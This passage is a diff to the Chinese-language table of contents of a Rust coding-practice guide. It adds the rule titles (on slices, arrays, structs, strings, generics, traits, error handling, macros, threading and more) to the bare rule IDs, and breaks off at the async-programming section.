[G.TYP.FLT.05 禁止在浮点数和整数相互转换时使用 transmute](./safe-guides/coding_practice/data-type/float/G.TYP.FLT.05.md) - [切片](./safe-guides/coding_practice/data-type/slice.md) - - [P.TYP.SLC.01](./safe-guides/coding_practice/data-type/slice/P.TYP.SLC.01.md) - - [P.TYP.SLC.02](./safe-guides/coding_practice/data-type/slice/P.TYP.SLC.02.md) + - [P.TYP.SLC.01 宜使用切片迭代器来代替手工索引](./safe-guides/coding_practice/data-type/slice/P.TYP.SLC.01.md) + - [P.TYP.SLC.02 宜使用切片模式来提升代码的可读性](./safe-guides/coding_practice/data-type/slice/P.TYP.SLC.02.md) - [元组](./safe-guides/coding_practice/data-type/tuple.md) - - [G.TYP.TUP.01](./safe-guides/coding_practice/data-type/tuple/G.TYP.TUP.01.md) + - [G.TYP.TUP.01 使用元组时,其元素不宜超过3个](./safe-guides/coding_practice/data-type/tuple/G.TYP.TUP.01.md) - [固定长度数组](./safe-guides/coding_practice/data-type/array.md) - - [G.TYP.ARR.01](./safe-guides/coding_practice/data-type/array/G.TYP.ARR.01.md) - - [G.TYP.ARR.02](./safe-guides/coding_practice/data-type/array/G.TYP.ARR.02.md) - - [G.TYP.ARR.03](./safe-guides/coding_practice/data-type/array/G.TYP.ARR.03.md) + - [G.TYP.ARR.01 创建大全局数组时宜使用静态变量而非常量](./safe-guides/coding_practice/data-type/array/G.TYP.ARR.01.md) + - [G.TYP.ARR.02 使用数组索引时禁止越界访问](./safe-guides/coding_practice/data-type/array/G.TYP.ARR.02.md) + - [G.TYP.ARR.03 当数组元素为原生数据类型(Primitive),排序时优先选用非稳定排序](./safe-guides/coding_practice/data-type/array/G.TYP.ARR.03.md) - [动态数组](./safe-guides/coding_practice/data-type/vec.md) - - [P.TYP.VEC.01](./safe-guides/coding_practice/data-type/vec/P.TYP.VEC.01.md) - - [P.TYP.VEC.02](./safe-guides/coding_practice/data-type/vec/P.TYP.VEC.02.md) - - [G.TYP.VEC.01](./safe-guides/coding_practice/data-type/vec/G.TYP.VEC.01.md) + - [P.TYP.VEC.01 非必要时不宜使用动态数组](./safe-guides/coding_practice/data-type/vec/P.TYP.VEC.01.md) + - [P.TYP.VEC.02 创建动态数组时,宜预先分配足够容量,避免后续操作中产生多次分配](./safe-guides/coding_practice/data-type/vec/P.TYP.VEC.02.md) + - [G.TYP.VEC.01 禁止访问未初始化的数组](./safe-guides/coding_practice/data-type/vec/G.TYP.VEC.01.md) - [结构体](./safe-guides/coding_practice/data-type/struct.md) - - [P.TYP.SCT.01](./safe-guides/coding_practice/data-type/struct/P.TYP.SCT.01.md) - - [P.TYP.SCT.02](./safe-guides/coding_practice/data-type/struct/P.TYP.SCT.02.md) - - [G.TYP.SCT.01](./safe-guides/coding_practice/data-type/struct/G.TYP.SCT.01.md) - - [G.TYP.SCT.02](./safe-guides/coding_practice/data-type/struct/G.TYP.SCT.02.md) - - [G.TYP.SCT.03](./safe-guides/coding_practice/data-type/struct/G.TYP.SCT.03.md) + - [P.TYP.SCT.01 为结构体实现构造性方法时,避免构造后再初始化的情况](./safe-guides/coding_practice/data-type/struct/P.TYP.SCT.01.md) + - [P.TYP.SCT.02 结构体实例需要默认实现时,宜使用Default特质](./safe-guides/coding_practice/data-type/struct/P.TYP.SCT.02.md) + - [G.TYP.SCT.01 对外导出的公开的 Struct,宜添加#[non_exhaustive]属性](./safe-guides/coding_practice/data-type/struct/G.TYP.SCT.01.md) + - [G.TYP.SCT.02 当结构体中有超过三个布尔类型的字段,宜将其独立为新的枚举类](./safe-guides/coding_practice/data-type/struct/G.TYP.SCT.02.md) + - [G.TYP.SCT.03 宜使用结构体功能更新语法来提升代码可读性](./safe-guides/coding_practice/data-type/struct/G.TYP.SCT.03.md) - [枚举体](./safe-guides/coding_practice/data-type/enum.md) - - [G.TYP.ENM.01](./safe-guides/coding_practice/data-type/enum/G.TYP.ENM.01.md) - - [G.TYP.ENM.02](./safe-guides/coding_practice/data-type/enum/G.TYP.ENM.02.md) - - [G.TYP.ENM.03](./safe-guides/coding_practice/data-type/enum/G.TYP.ENM.03.md) - - [G.TYP.ENM.04](./safe-guides/coding_practice/data-type/enum/G.TYP.ENM.04.md) - - [G.TYP.ENM.05](./safe-guides/coding_practice/data-type/enum/G.TYP.ENM.05.md) - - [G.TYP.ENM.06](./safe-guides/coding_practice/data-type/enum/G.TYP.ENM.06.md) + - [G.TYP.ENM.01 合理使用map和and_then方法](./safe-guides/coding_practice/data-type/enum/G.TYP.ENM.01.md) + - [G.TYP.ENM.02 不应自行创建空枚举](./safe-guides/coding_practice/data-type/enum/G.TYP.ENM.02.md) + - [G.TYP.ENM.03 在使用类似 C 语言的枚举写法且使用repr(isize/usize) 布局时注意 32位架构上截断的问题](./safe-guides/coding_practice/data-type/enum/G.TYP.ENM.03.md) + - [G.TYP.ENM.04 不宜在use语句中引入Enum的全部变体(variants)](./safe-guides/coding_practice/data-type/enum/G.TYP.ENM.04.md) + - [G.TYP.ENM.05 对外导出的公开Enum,宜添加#[non_exhaustive]属性](./safe-guides/coding_practice/data-type/enum/G.TYP.ENM.05.md) + - [G.TYP.ENM.06 Enum内变体的大小差异不宜过大](./safe-guides/coding_practice/data-type/enum/G.TYP.ENM.06.md) - [表达式](./safe-guides/coding_practice/expr.md) - - [G.EXP.01](./safe-guides/coding_practice/expr/G.EXP.01.md) - - [G.EXP.02](./safe-guides/coding_practice/expr/G.EXP.02.md) - - [G.EXP.03](./safe-guides/coding_practice/expr/G.EXP.03.md) - - [G.EXP.04](./safe-guides/coding_practice/expr/G.EXP.04.md) - - [G.EXP.05](./safe-guides/coding_practice/expr/G.EXP.05.md) - - [G.EXP.06](./safe-guides/coding_practice/expr/G.EXP.06.md) + - [G.EXP.01 当需要对表达式求值后重新赋值时,宜使用复合赋值模式](./safe-guides/coding_practice/expr/G.EXP.01.md) + - [G.EXP.02 不宜在比较中使用不兼容的位掩码](./safe-guides/coding_practice/expr/G.EXP.02.md) + - [G.EXP.03 不应利用数组表达式的边界检查来 Panic,而应使用断言](./safe-guides/coding_practice/expr/G.EXP.03.md) + - [G.EXP.04 自增或自减运算使用`+=`或`-=`](./safe-guides/coding_practice/expr/G.EXP.04.md) + - [G.EXP.05 使用括号来清楚表示表达式的计算顺序](./safe-guides/coding_practice/expr/G.EXP.05.md) + - [G.EXP.06 避免在比较中添加无用的掩码操作](./safe-guides/coding_practice/expr/G.EXP.06.md) - [控制流程](./safe-guides/coding_practice/control-flow.md) - - [P.CTF.01](./safe-guides/coding_practice/control-flow/P.CTF.01.md) - - [P.CTF.02](./safe-guides/coding_practice/control-flow/P.CTF.02.md) - - [G.CTF.01](./safe-guides/coding_practice/control-flow/G.CTF.01.md) - - [G.CTF.02](./safe-guides/coding_practice/control-flow/G.CTF.02.md) - - [G.CTF.03](./safe-guides/coding_practice/control-flow/G.CTF.03.md) - - [G.CTF.04](./safe-guides/coding_practice/control-flow/G.CTF.04.md) + - [P.CTF.01 避免滥用迭代器](./safe-guides/coding_practice/control-flow/P.CTF.01.md) + - [P.CTF.02 优先使用模式匹配而非判断后再取值](./safe-guides/coding_practice/control-flow/P.CTF.02.md) + - [G.CTF.01 当需要通过多个if判断来比较大小来区分不同情况时,优先使用match和cmp来代替if表达式](./safe-guides/coding_practice/control-flow/G.CTF.01.md) + - [G.CTF.02 if条件表达式分支中如果包含了else if分支也应该包含else分支](./safe-guides/coding_practice/control-flow/G.CTF.02.md) + - [G.CTF.03 如果要通过 if 条件表达式来判断是否 Panic,请优先使用断言](./safe-guides/coding_practice/control-flow/G.CTF.03.md) + - [G.CTF.04 在 Match 分支的 Guard 语句中不要使用带有副作用的条件表达式](./safe-guides/coding_practice/control-flow/G.CTF.04.md) - [字符串](./safe-guides/coding_practice/strings.md) - - [P.STR.01](./safe-guides/coding_practice/strings/P.STR.01.md) - - [P.STR.02](./safe-guides/coding_practice/strings/P.STR.02.md) - - [P.STR.03](./safe-guides/coding_practice/strings/P.STR.03.md) - - [P.STR.04](./safe-guides/coding_practice/strings/P.STR.04.md) - - [P.STR.05](./safe-guides/coding_practice/strings/P.STR.05.md) - - [G.STR.01](./safe-guides/coding_practice/strings/G.STR.01.md) - - [G.STR.02](./safe-guides/coding_practice/strings/G.STR.02.md) - - [G.STR.03](./safe-guides/coding_practice/strings/G.STR.03.md) - - [G.STR.04](./safe-guides/coding_practice/strings/G.STR.04.md) - - [G.STR.05](./safe-guides/coding_practice/strings/G.STR.05.md) + - [P.STR.01 处理字符串元素时优先按字节处理而非字符](./safe-guides/coding_practice/strings/P.STR.01.md) + - [P.STR.02 创建字符串时,宜预先分配大约足够的容量来避免后续操作中产生多次分配](./safe-guides/coding_practice/strings/P.STR.02.md) + - [P.STR.03 在使用内建字符串处理函数或方法的时候,应注意避免隐藏的嵌套迭代或多次迭代](./safe-guides/coding_practice/strings/P.STR.03.md) + - [P.STR.04 只在合适的场景下,使用正则表达式第三方库regex](./safe-guides/coding_practice/strings/P.STR.04.md) + - [P.STR.05 在拼接字符串时,优先使用format!](./safe-guides/coding_practice/strings/P.STR.05.md) + - [G.STR.01 在实现Display特质时不应调用to_string()方法](./safe-guides/coding_practice/strings/G.STR.01.md) + - [G.STR.02 在追加字符串时使用push_str方法](./safe-guides/coding_practice/strings/G.STR.02.md) + - [G.STR.03 将只包含 ASCII字符的字符串字面量转为字节序列可以直接使用b"str" 语法代替调用as_bytes方法](./safe-guides/coding_practice/strings/G.STR.03.md) + - [G.STR.04 需要辨别字符串的字符开头或结尾字符时,不应按字符迭代比较](./safe-guides/coding_practice/strings/G.STR.04.md) + - [G.STR.05 对字符串按指定位置进行切片的时候需要小心破坏其 UTF-8 编码](./safe-guides/coding_practice/strings/G.STR.05.md) - [集合容器](./safe-guides/coding_practice/collections.md) - - [P.CLT.01](./safe-guides/coding_practice/collections/P.CLT.01.md) - - [G.CLT.01](./safe-guides/coding_practice/collections/G.CLT.01.md) + - [P.CLT.01 创建HashMap、VecDeque时,可以预先分配大约足够的容量来避免后续操作中产生多次分配](./safe-guides/coding_practice/collections/P.CLT.01.md) + - [G.CLT.01 非必要情况下,不要使用LinkedList,而用Vec或VecDeque代替](./safe-guides/coding_practice/collections/G.CLT.01.md) - [函数设计](./safe-guides/coding_practice/fn-design.md) - - [P.FUD.01](./safe-guides/coding_practice/fn-design/P.FUD.01.md) - - [P.FUD.02](./safe-guides/coding_practice/fn-design/P.FUD.02.md) - - [G.FUD.01](./safe-guides/coding_practice/fn-design/G.FUD.01.md) - - [G.FUD.02](./safe-guides/coding_practice/fn-design/G.FUD.02.md) - - [G.FUD.03](./safe-guides/coding_practice/fn-design/G.FUD.03.md) - - [G.FUD.04](./safe-guides/coding_practice/fn-design/G.FUD.04.md) - - [G.FUD.05](./safe-guides/coding_practice/fn-design/G.FUD.05.md) - - [G.FUD.06](./safe-guides/coding_practice/fn-design/G.FUD.06.md) + - [P.FUD.01 传递到闭包的变量建议单独重新绑定](./safe-guides/coding_practice/fn-design/P.FUD.01.md) + - [P.FUD.02 函数返回值不要使用 return](./safe-guides/coding_practice/fn-design/P.FUD.02.md) + - [G.FUD.01 函数参数最长不要超过五个](./safe-guides/coding_practice/fn-design/G.FUD.01.md) + - [G.FUD.02 当函数参数实现了 Copy,并且是按值传入,如果值可能会太大,则宜考虑按引用传递](./safe-guides/coding_practice/fn-design/G.FUD.02.md) + - [G.FUD.03 当函数参数出现太多 bool 类型的参数时,应该考虑将其封装为自定义的结构体或枚举](./safe-guides/coding_practice/fn-design/G.FUD.03.md) + - [G.FUD.04 当Copy 类型的足够小的值作为函数参数时,应该按值(by-value)传入,而不是引用(by-ref)](./safe-guides/coding_practice/fn-design/G.FUD.04.md) + - [G.FUD.05 不要总是为函数指定 inline(always)](./safe-guides/coding_practice/fn-design/G.FUD.05.md) + - [G.FUD.06 函数参数应该考虑兼容多种类型](./safe-guides/coding_practice/fn-design/G.FUD.06.md) - [泛型](./safe-guides/coding_practice/generic.md) - - [P.GEN.01](./safe-guides/coding_practice/generic/P.GEN.01.md) - - [P.GEN.02](./safe-guides/coding_practice/generic/P.GEN.02.md) - - [P.GEN.03](./safe-guides/coding_practice/generic/P.GEN.03.md) - - [P.GEN.04](./safe-guides/coding_practice/generic/P.GEN.04.md) - - [P.GEN.05](./safe-guides/coding_practice/generic/P.GEN.05.md) - - [G.GEN.01](./safe-guides/coding_practice/generic/G.GEN.01.md) - - [G.GEN.02](./safe-guides/coding_practice/generic/G.GEN.02.md) + - [P.GEN.01 用泛型来抽象公共语义](./safe-guides/coding_practice/generic/P.GEN.01.md) + - [P.GEN.02 不要随便使用 impl Trait 语法替代泛型限定](./safe-guides/coding_practice/generic/P.GEN.02.md) + - [P.GEN.03 不要使用太多泛型参数和 trait 限定,否则会增长编译时间](./safe-guides/coding_practice/generic/P.GEN.03.md) + - [P.GEN.04 为泛型类型实现方法时,impl 中声明的泛型类型参数一定要被用到](./safe-guides/coding_practice/generic/P.GEN.04.md) + - [P.GEN.05 定义泛型函数时,如果该函数实现用到来自 trait 定义的相关行为,需要为泛型指定相关 trait 的限定](./safe-guides/coding_practice/generic/P.GEN.05.md) + - [G.GEN.01 不要在泛型位置上使用内建类型](./safe-guides/coding_practice/generic/G.GEN.01.md) + - [G.GEN.02 使用 Rust 标准库中某些方法,要注意避免使用其泛型默认实现,而应该使用具体类型的实现](./safe-guides/coding_practice/generic/G.GEN.02.md) - [特质](./safe-guides/coding_practice/traits.md) - - [P.TRA.01](./safe-guides/coding_practice/traits/P.TRA.01.md) + - [P.TRA.01 使用 trait 时要注意 trait 一致性规则](./safe-guides/coding_practice/traits/P.TRA.01.md) - [标准库内置 trait](./safe-guides/coding_practice/traits/std-builtin.md) - - [P.TRA.BLN.01](./safe-guides/coding_practice/traits/std-builtin/P.TRA.BLN.01.md) - - [G.TRA.BLN.01](./safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.01.md) - - [G.TRA.BLN.02](./safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.02.md) - - [G.TRA.BLN.03](./safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.03.md) - - [G.TRA.BLN.04](./safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.04.md) - - [G.TRA.BLN.05](./safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.05.md) - - [G.TRA.BLN.06](./safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.06.md) - - [G.TRA.BLN.07](./safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.07.md) - - [G.TRA.BLN.08](./safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.08.md) - - [G.TRA.BLN.09](./safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.09.md) - - [G.TRA.BLN.10](./safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.10.md) + - [P.TRA.BLN.01 在实现Borrow特质时,需要注意一致性](./safe-guides/coding_practice/traits/std-builtin/P.TRA.BLN.01.md) + - [G.TRA.BLN.01 应该具体类型的 default() 方法代替 Default::default() 调用](./safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.01.md) + - [G.TRA.BLN.02 不要为迭代器实现Copy 特质](./safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.02.md) + - [G.TRA.BLN.03 能使用派生宏(Derive)自动实现Default特质就不要用手工实现](./safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.03.md) + - [G.TRA.BLN.04 在使用#[derive(Hash)] 的时候,避免再手工实现 PartialEq](./safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.04.md) + - [G.TRA.BLN.05 在使用#[derive(Ord)] 的时候,避免再手工实现 PartialOrd](./safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.05.md) + - [G.TRA.BLN.06 不要对实现 Copy 或引用类型调用 std::mem::drop 和 std::mem::forgot](./safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.06.md) + - [G.TRA.BLN.07 对实现 Copy 的可迭代类型来说,要通过迭代器拷贝其所有元素时,应该使用 copied方法,而非cloned](./safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.07.md) + - [G.TRA.BLN.08 实现 From 而不是 Into](./safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.08.md) + - [G.TRA.BLN.09 一般情况下不要给 Copy 类型手工实现 Clone](./safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.09.md) + - [G.TRA.BLN.10 不要随便使用Deref特质来模拟继承](./safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.10.md) - [trait 对象](./safe-guides/coding_practice/traits/trait-object.md) - - [P.TRA.OBJ.01](./safe-guides/coding_practice/traits/trait-object/P.TRA.OBJ.01.md) - - [P.TRA.OBJ.02](./safe-guides/coding_practice/traits/trait-object/P.TRA.OBJ.02.md) + - [P.TRA.OBJ.01 根据场景合理选择使用trait对象或泛型静态分发](./safe-guides/coding_practice/traits/trait-object/P.TRA.OBJ.01.md) + - [P.TRA.OBJ.02 除非必要,避免自定义虚表](./safe-guides/coding_practice/traits/trait-object/P.TRA.OBJ.02.md) - [错误处理](./safe-guides/coding_practice/error-handle.md) - - [P.ERR.01](./safe-guides/coding_practice/error-handle/P.ERR.01.md) - - [P.ERR.02](./safe-guides/coding_practice/error-handle/P.ERR.02.md) - - [G.ERR.01](./safe-guides/coding_practice/error-handle/G.ERR.01.md) - - [G.ERR.02](./safe-guides/coding_practice/error-handle/G.ERR.02.md) + - [P.ERR.01 当传入函数的参数值因为超出某种限制可能会导致函数调用失败,应该使用断言](./safe-guides/coding_practice/error-handle/P.ERR.01.md) + - [P.ERR.02 在确定 Option 和 Result类型的值不可能是 None 或 Err 时,请用 expect 代替 unwrap()](./safe-guides/coding_practice/error-handle/P.ERR.02.md) + - [G.ERR.01 在处理 Option 和 Result 类型时,不要随便使用 unwrap](./safe-guides/coding_practice/error-handle/G.ERR.01.md) + - [G.ERR.02 不要滥用 expect,请考虑用 unwrap_or_ 系列方法代替](./safe-guides/coding_practice/error-handle/G.ERR.02.md) - [内存管理](./safe-guides/coding_practice/memory.md) - [生命周期](./safe-guides/coding_practice/memory/lifetime.md) - - [P.MEM.LFT.01](./safe-guides/coding_practice/memory/lifetime/P.MEM.LFT.01.md) - - [P.MEM.LFT.02](./safe-guides/coding_practice/memory/lifetime/P.MEM.LFT.02.md) + - [P.MEM.LFT.01 生命周期参数命名尽量有意义且简洁](./safe-guides/coding_practice/memory/lifetime/P.MEM.LFT.01.md) + - [P.MEM.LFT.02 通常需要显式地标注生命周期,而非利用编译器推断](./safe-guides/coding_practice/memory/lifetime/P.MEM.LFT.02.md) - [智能指针](./safe-guides/coding_practice/memory/smart-ptr.md) - - [P.MEM.SPT.01](./safe-guides/coding_practice/memory/smart-ptr/P.MEM.SPT.01.md) + - [P.MEM.SPT.01 使用 `RefCell` 时宜使用 `try_borrow`/`try_borrow_mut` 方法](./safe-guides/coding_practice/memory/smart-ptr/P.MEM.SPT.01.md) - [Box 类型](./safe-guides/coding_practice/memory/box.md) - - [G.MEM.BOX.01](./safe-guides/coding_practice/memory/box/G.MEM.BOX.01.md) - - [G.MEM.BOX.02](./safe-guides/coding_practice/memory/box/G.MEM.BOX.02.md) - - [G.MEM.BOX.03](./safe-guides/coding_practice/memory/box/G.MEM.BOX.03.md) + - [G.MEM.BOX.01 一般情况下,不应直接对 `Box` 进行借用](./safe-guides/coding_practice/memory/box/G.MEM.BOX.01.md) + - [G.MEM.BOX.02 一般情况下,不应直接对已经在堆上分配内存的类型进行 Box 装箱](./safe-guides/coding_practice/memory/box/G.MEM.BOX.02.md) + - [G.MEM.BOX.03 一般情况下,不应直接对栈分配类型进行 Box 装箱](./safe-guides/coding_practice/memory/box/G.MEM.BOX.03.md) - [Drop 析构](./safe-guides/coding_practice/memory/drop.md) - - [G.MEM.DRP.01](./safe-guides/coding_practice/memory/drop/G.MEM.DRP.01.md) + - [G.MEM.DRP.01 要注意防范内存泄漏](./safe-guides/coding_practice/memory/drop/G.MEM.DRP.01.md) - [模块](./safe-guides/coding_practice/module.md) - - [P.MOD.01](./safe-guides/coding_practice/module/P.MOD.01.md) - - [P.MOD.02](./safe-guides/coding_practice/module/P.MOD.02.md) - - [G.MOD.01](./safe-guides/coding_practice/module/G.MOD.01.md) - - [G.MOD.02](./safe-guides/coding_practice/module/G.MOD.02.md) - - [G.MOD.03](./safe-guides/coding_practice/module/G.MOD.03.md) - - [G.MOD.04](./safe-guides/coding_practice/module/G.MOD.04.md) - - [G.MOD.05](./safe-guides/coding_practice/module/G.MOD.05.md) + - [P.MOD.01 合理控制对外接口和模块之间的可见性](./safe-guides/coding_practice/module/P.MOD.01.md) + - [P.MOD.02 将模块的测试移动到单独的文件,有助于增加编译速度](./safe-guides/coding_practice/module/P.MOD.02.md) + - [G.MOD.01 使用导入模块中的类型或函数,在某些情况下需要带模块名前缀](./safe-guides/coding_practice/module/G.MOD.01.md) + - [G.MOD.02 如果是作为库供别人使用,在 lib.rs中重新导出对外类型、函数和 trait 等](./safe-guides/coding_practice/module/G.MOD.02.md) + - [G.MOD.03 导入模块不要随便使用 通配符`*`](./safe-guides/coding_practice/module/G.MOD.03.md) + - [G.MOD.04 一个项目中应该避免使用不同的模块布局风格](./safe-guides/coding_practice/module/G.MOD.04.md) + - [G.MOD.05 不要在私有模块中设置其内部类型或函数方法为 pub(crate)](./safe-guides/coding_practice/module/G.MOD.05.md) - [包管理](./safe-guides/coding_practice/cargo.md) - - [P.CAR.01](./safe-guides/coding_practice/cargo/P.CAR.01.md) - - [P.CAR.02](./safe-guides/coding_practice/cargo/P.CAR.02.md) - - [P.CAR.03](./safe-guides/coding_practice/cargo/P.CAR.03.md) - - [P.CAR.04](./safe-guides/coding_practice/cargo/P.CAR.04.md) - - [G.CAR.01](./safe-guides/coding_practice/cargo/G.CAR.01.md) - - [G.CAR.02](./safe-guides/coding_practice/cargo/G.CAR.02.md) - - [G.CAR.03](./safe-guides/coding_practice/cargo/G.CAR.03.md) - - [G.CAR.04](./safe-guides/coding_practice/cargo/G.CAR.04.md) + - [P.CAR.01 应该尽量把项目划分为合理的 crate 组合](./safe-guides/coding_practice/cargo/P.CAR.01.md) + - [P.CAR.02 不要滥用 Features](./safe-guides/coding_practice/cargo/P.CAR.02.md) + - [P.CAR.03 使用 cargo features 来代替 `--cfg` 条件编译参数](./safe-guides/coding_practice/cargo/P.CAR.03.md) + - [P.CAR.04 如果可能的话,使用 `cfg!` 来代替 `#[cfg]`](./safe-guides/coding_practice/cargo/P.CAR.04.md) + - [G.CAR.01 当项目是可执行程序而非库时,建议使用 `src/main.rs` 和 `src/lib.rs` 模式](./safe-guides/coding_practice/cargo/G.CAR.01.md) + - [G.CAR.02 Crate 的 Cargo.toml 中应该包含必要的元信息](./safe-guides/coding_practice/cargo/G.CAR.02.md) + - [G.CAR.03 Feature 命名应该避免否定式或多余的前后缀](./safe-guides/coding_practice/cargo/G.CAR.03.md) + - [G.CAR.04 Cargo.toml 中依赖包版本不应使用通配符](./safe-guides/coding_practice/cargo/G.CAR.04.md) - [宏](./safe-guides/coding_practice/macros.md) - - [P.MAC.01](./safe-guides/coding_practice/macros/P.MAC.01.md) - - [P.MAC.02](./safe-guides/coding_practice/macros/P.MAC.02.md) - - [G.MAC.01](./safe-guides/coding_practice/macros/G.MAC.01.md) - - [G.MAC.02](./safe-guides/coding_practice/macros/G.MAC.02.md) + - [P.MAC.01 不要轻易使用宏](./safe-guides/coding_practice/macros/P.MAC.01.md) + - [P.MAC.02 实现宏语法的时候,应该尽量贴近 Rust 语法](./safe-guides/coding_practice/macros/P.MAC.02.md) + - [G.MAC.01 `dbg!()` 宏只应该用于调试代码](./safe-guides/coding_practice/macros/G.MAC.01.md) + - [G.MAC.02 使用宏时应该考虑宏展开会让编译文件膨胀的影响](./safe-guides/coding_practice/macros/G.MAC.02.md) - [声明宏](./safe-guides/coding_practice/macros/decl.md) - - [P.MAC.DCL.01](./safe-guides/coding_practice/macros/decl/P.MAC.DCL.01.md) - - [P.MAC.DCL.02](./safe-guides/coding_practice/macros/decl/P.MAC.DCL.02.md) - - [P.MAC.DCL.03](./safe-guides/coding_practice/macros/decl/P.MAC.DCL.03.md) - - [P.MAC.DCL.04](./safe-guides/coding_practice/macros/decl/P.MAC.DCL.04.md) - - [P.MAC.DCL.05](./safe-guides/coding_practice/macros/decl/P.MAC.DCL.05.md) - - [P.MAC.DCL.06](./safe-guides/coding_practice/macros/decl/P.MAC.DCL.06.md) - - [P.MAC.DCL.07](./safe-guides/coding_practice/macros/decl/P.MAC.DCL.07.md) - - [P.MAC.DCL.08](./safe-guides/coding_practice/macros/decl/P.MAC.DCL.08.md) + - [P.MAC.DCL.01 不要将声明宏内的变量作为外部变量使用](./safe-guides/coding_practice/macros/decl/P.MAC.DCL.01.md) + - [P.MAC.DCL.02 在编写多个宏规则时,应该先从匹配粒度最小的开始写](./safe-guides/coding_practice/macros/decl/P.MAC.DCL.02.md) + - [P.MAC.DCL.03 不要在片段分类符跟随它不匹配的符号](./safe-guides/coding_practice/macros/decl/P.MAC.DCL.03.md) + - [P.MAC.DCL.04 匹配规则要精准,不要模糊不清](./safe-guides/coding_practice/macros/decl/P.MAC.DCL.04.md) + - [P.MAC.DCL.05 使用宏替换(substitution)元变量的时候要注意选择合适的片段分类符](./safe-guides/coding_practice/macros/decl/P.MAC.DCL.05.md) + - [P.MAC.DCL.06 当宏需要接收 self 时需要注意](./safe-guides/coding_practice/macros/decl/P.MAC.DCL.06.md) + - [P.MAC.DCL.07 确保在宏定义之后再去调用宏](./safe-guides/coding_practice/macros/decl/P.MAC.DCL.07.md) + - [P.MAC.DCL.08 同一个 crate 内定义的宏相互调用时,需要注意卫生性](./safe-guides/coding_practice/macros/decl/P.MAC.DCL.08.md) - [过程宏](./safe-guides/coding_practice/macros/proc.md) - - [P.MAC.PRO.01](./safe-guides/coding_practice/macros/proc/P.MAC.PRO.01.md) - - [P.MAC.PRO.02](./safe-guides/coding_practice/macros/proc/P.MAC.PRO.02.md) - - [P.MAC.PRO.03](./safe-guides/coding_practice/macros/proc/P.MAC.PRO.03.md) - - [P.MAC.PRO.04](./safe-guides/coding_practice/macros/proc/P.MAC.PRO.04.md) - - [P.MAC.PRO.05](./safe-guides/coding_practice/macros/proc/P.MAC.PRO.05.md) - - [P.MAC.PRO.06](./safe-guides/coding_practice/macros/proc/P.MAC.PRO.06.md) + - [P.MAC.PRO.01 不要使用过程宏来规避静态分析检查](./safe-guides/coding_practice/macros/proc/P.MAC.PRO.01.md) + - [P.MAC.PRO.02 实现过程宏时要对关键特性增加测试](./safe-guides/coding_practice/macros/proc/P.MAC.PRO.02.md) + - [P.MAC.PRO.03 保证过程宏的卫生性](./safe-guides/coding_practice/macros/proc/P.MAC.PRO.03.md) + - [P.MAC.PRO.04 给出正确的错误位置](./safe-guides/coding_practice/macros/proc/P.MAC.PRO.04.md) + - [P.MAC.PRO.05 代码生成要按情况选择使用过程宏还是 `build.rs`](./safe-guides/coding_practice/macros/proc/P.MAC.PRO.05.md) + - [P.MAC.PRO.06 `build.rs` 生成的代码要保证没有任何警告](./safe-guides/coding_practice/macros/proc/P.MAC.PRO.06.md) - [多线程](./safe-guides/coding_practice/threads.md) - [锁同步](./safe-guides/coding_practice/threads/lock.md) - - [P.MTH.LCK.01](./safe-guides/coding_practice/threads/lock/P.MTH.LCK.01.md) - - [G.MTH.LCK.01](./safe-guides/coding_practice/threads/lock/G.MTH.LCK.01.md) - - [G.MTH.LCK.02](./safe-guides/coding_practice/threads/lock/G.MTH.LCK.02.md) - - [G.MTH.LCK.03](./safe-guides/coding_practice/threads/lock/G.MTH.LCK.03.md) - - [G.MTH.LCK.04](./safe-guides/coding_practice/threads/lock/G.MTH.LCK.04.md) + - [P.MTH.LCK.01 多线程下要注意识别锁争用的情况,避免死锁](./safe-guides/coding_practice/threads/lock/P.MTH.LCK.01.md) + - [G.MTH.LCK.01 对布尔或引用并发访问应该使用原子类型而非互斥锁](./safe-guides/coding_practice/threads/lock/G.MTH.LCK.01.md) + - [G.MTH.LCK.02 宜使用 Arc / Arc<[T]> 来代替 Arc / Arc>](./safe-guides/coding_practice/threads/lock/G.MTH.LCK.02.md) + - [G.MTH.LCK.03 尽量避免直接使用标准库 `std::sync` 模块中的同步原语,替换为 `parking_lot`](./safe-guides/coding_practice/threads/lock/G.MTH.LCK.03.md) + - [G.MTH.LCK.04 尽量避免直接使用标准库 `std::sync::mpsc` 模块中的 channel,替换为 `crossbeam`](./safe-guides/coding_practice/threads/lock/G.MTH.LCK.04.md) - [无锁](./safe-guides/coding_practice/threads/lock-free.md) - - [P.MTH.LKF.01](./safe-guides/coding_practice/threads/lock-free/P.MTH.LKF.01.md) - - [P.MTH.LKF.02](./safe-guides/coding_practice/threads/lock-free/P.MTH.LKF.02.md) + - [P.MTH.LKF.01 除非必要,否则建议使用同步锁](./safe-guides/coding_practice/threads/lock-free/P.MTH.LKF.01.md) + - [P.MTH.LKF.02 使用无锁编程时,需要合理选择内存顺序](./safe-guides/coding_practice/threads/lock-free/P.MTH.LKF.02.md) - [异步编程](./safe-guides/coding_practice/async-await.md) - - [P.ASY.01](./safe-guides/coding_practice/async-await/P.ASY.01.md) - - [G.ASY.01](./safe-guides/coding_practice/async-await/G.ASY.01.md) - - [G.ASY.02](./safe-guides/coding_practice/async-await/G.ASY.02.md) - - [G.ASY.03](./safe-guides/coding_practice/async-await/G.ASY.03.md) - - [G.ASY.04](./safe-guides/coding_practice/async-await/G.ASY.04.md) - - [G.ASY.05](./safe-guides/coding_practice/async-await/G.ASY.05.md) + - [P.ASY.01 